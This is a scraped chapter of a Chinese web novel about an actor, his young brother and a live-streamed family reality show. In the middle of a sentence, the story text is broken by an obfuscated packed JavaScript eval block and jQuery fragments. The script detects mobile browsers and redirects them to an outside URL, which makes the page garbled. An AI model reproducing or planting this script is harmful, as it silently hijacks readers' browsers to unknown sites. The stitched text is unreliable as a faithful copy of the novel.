季时雨从小就是个笨蛋,季岁则觉得这是很正常的事情,有了苏宥年做对比,季岁则才发现,他家小团子有多聪明。 从前的自己为什么会觉得苏宥年是个笨蛋呢? 他明明就很聪明! 思及此,季岁则又奖励般摸了摸小团子的脑袋,再次夸道:“你很聪明。” 年年脸颊微红,圆润的双眼弯成了月牙形状。 这是他期待已久的夸奖,以前不管他多懂事听话,表现得多聪明,爸爸妈妈也从来不施舍他一句夸奖。被人夸奖的滋味真的很好! - 合作事宜谈妥之后,节目组的工作人员隔天就来苏家老宅安装摄像机。 这档节目前几期都会在嘉宾自己家录制,等观众熟悉各个家庭的情况之后再召集所有家庭来个户外直播。 节目正式录制的前天晚上,苏晏珩收到了死对头顾停非的消息。 【顾停非:听说你也参加了宝贝计划?】 《宝贝计划》是这档综艺的名字。 苏晏珩冷笑:【怎么,你有意见?】 【顾停非:我没什么意见,反倒是你对我挺有意见的吧,你是知道我要上这个节目,所以才自愿降低咖位也要来占一个名额吗?】 顾家虽然不如苏家,但在S市也是不容小觑。 同在一个圈子,少不了要参加交际活动,苏晏珩小时候就跟顾停非认识了,两人气场不和,第一次见面就因为一块蛋糕而争执不休。 他们都明白,他们不是为了一块蛋糕,而是为了战胜对方。 高中做了同班同学后,两人的竞争之路才正式拉开了序幕,一直延续至今。 无论是家世还是事业上的地位,苏晏珩都比顾停非要高出一头,顾停非不服气,只要有机会就来找苏晏珩的麻烦,乐此不疲。 苏晏珩连连冷笑:【你别忘记你是怎么拿到这个资源的,你应该了解我,你知道我最不喜欢被人抢走本该属于我的东西。】 【顾停非:我抢了你什么?我怎么不知道?[橘猫微笑.jpg]】 “笑面虎。”苏晏珩咬牙切齿。 年年被保姆抱出浴室就看到大哥哥铁青的面色,不禁紧张:“哥哥,你身体不舒服吗?” 苏晏珩收起了满身戾气,迅速扯出一抹笑:“哥哥没有不舒服,只是有个很讨厌的家伙一直给我发骚扰短信。” 保姆刚将年年放到床上,年年就迫不及待往苏晏珩身上黏,苏晏珩习惯性伸出手,接住扑过来的小崽子。 年年在大哥哥怀里寻了个舒服的姿势,才说道:“既然是讨厌的人,那大哥哥就不要理他了,马上就到睡觉时间了,你要是一直想着那个人的话,你会睡不着的。” “好,哥哥听你的话,不想他了。”苏晏珩拿下巴蹭了蹭小崽子的脸颊,惹得小崽子发出咯咯咯的笑声。 “哥哥,你今晚陪年年睡觉好不好?” 苏晏珩实验失败后就认命了,看来他的失眠症目前只有小崽子能够治得好,他也不知道是出于什么原理,只要沾到小崽子的气味,他就能睡着。 为此,苏晏珩特意询问了他的主治医生,医生说了很多专业术语,他听得云里雾里,总结出一个结论—— 在小崽子身边他才能放松下来。 于是,当年年再次提出要跟他一起睡觉的时候,苏晏珩没再拒绝。 季岁则看着保姆将苏宥年抱去洗澡,他没有跟过去,等苏宥年离开后也钻进了浴室,想着等苏宥年回来时,他也刚好洗完澡,两人刚好能一起钻被窝。 他特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693333|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意加快了速度,只花了五分钟的时间就洗完了澡,换上一套干净的睡衣,还是与苏宥年那身小黄鸭睡衣相配的黄色睡衣。他耐心等了会,最终等到苏宥年跟大哥哥一起睡觉的消息。 陈妈负责照顾季岁则,跟在季岁则身边那么多年,季岁则的一个细微表情变化她都清楚,她是聪明人,哪能不明白季岁则在想什么。 她憋着笑,轻声细语地哄道:“小少爷待在大少爷身边,大少爷才能安心入睡。” 季岁则沉默不言,嘴唇紧抿,两边嘴角微微下压。 大哥失眠严重,可他也睡不安稳。 那家伙只关心大哥,都不来关心他了吗? 他转念又想到,苏宥年还不知道他的情况,家里也没人知道他经常做噩梦。 季岁则咬住下唇,懊恼地想,早知道就不隐瞒了,这样小团子还能多记挂着他一点。 - 苏晏珩这一觉睡得相当安稳,几乎是一沾枕头就睡了过去。 平时受失眠折磨就算了,每次艰难入睡后没多久就会苏醒,总是天还没亮就醒了,今晚的他不仅很快就入睡了,而且还一夜无梦睡到天亮。 年年有自己的固定生物钟,窗外响起第一声鸟鸣时他就睁开了眼睛。 昨晚枕着大哥哥的手臂睡觉,一觉睡醒,他就趴到了大哥哥的胸膛上,由于侧身躺着嘴巴闭不拢的关系,他又在大哥哥的胸口上留下了一滩口水,经过一夜的风干,布料已经半干了,但还是能看出痕迹。 《宝贝计划》是边录制边直播的方式,直播时间一到,等待已久的苏晏珩的粉丝就冲进了直播间,她们迫不及待想欣赏她们偶像的盛世美颜,但最先吸引她们的不是她们的偶像,而是偶像怀里趴着的一只奶团子,然后才注意到被奶团子殃及的衣服。 【我靠一进直播间就被这张可爱的脸给萌化了,这对我的心脏很不好!】 【要不是苏影帝解释清楚了,我真怀疑这就是苏影帝的孩子!跟影帝小时候长得简直一模一样!】 【苏晏珩有很严重的洁癖的啊,这小家伙在他胸口流了那么多口水,他死定了!】 【你肯定没看苏晏珩的微博吧,别人的口水苏晏珩一定会嫌弃,但这小孩的口水,苏晏珩绝对不会!】 【是谁还不知道苏晏珩现在是个宠弟狂魔啊!】 【苏晏珩又打算塑造新人设了?这次还准备拉他三岁的弟弟下水?】 【苏影帝可真卑鄙啊,自家人都能利用!】 【这年头接娃综的明星多了去了,你怎么不去喷别人,别在这里带节奏!】 年年翻身坐起,顶着一头乱糟糟的鸡窝头犯了会迷糊,这是他清醒前的前奏,需要一定时间的开机时间。 他的位置正对床头的摄像机,双眼微眯着,小脑袋一点一点,落在他身上的晨光也随着他的晃动晃出金色残影。 开机时间结束,年年睁开了惺忪睡眼,金色光芒落入眼底,将漆黑的双眸也染上了金芒。 直播间的弹幕涌动得更加疯狂—— 【啊啊啊他看我了,他在看我!】 【苏晏珩发的都是他睡觉的照片和侧脸,我还是第一次看清他的正脸,天哪,我要收回前言,他比苏影帝小时候还要可爱!】 【崽崽,你别这么看姨姨,你再看下去,就要罚你亲姨姨一口了!】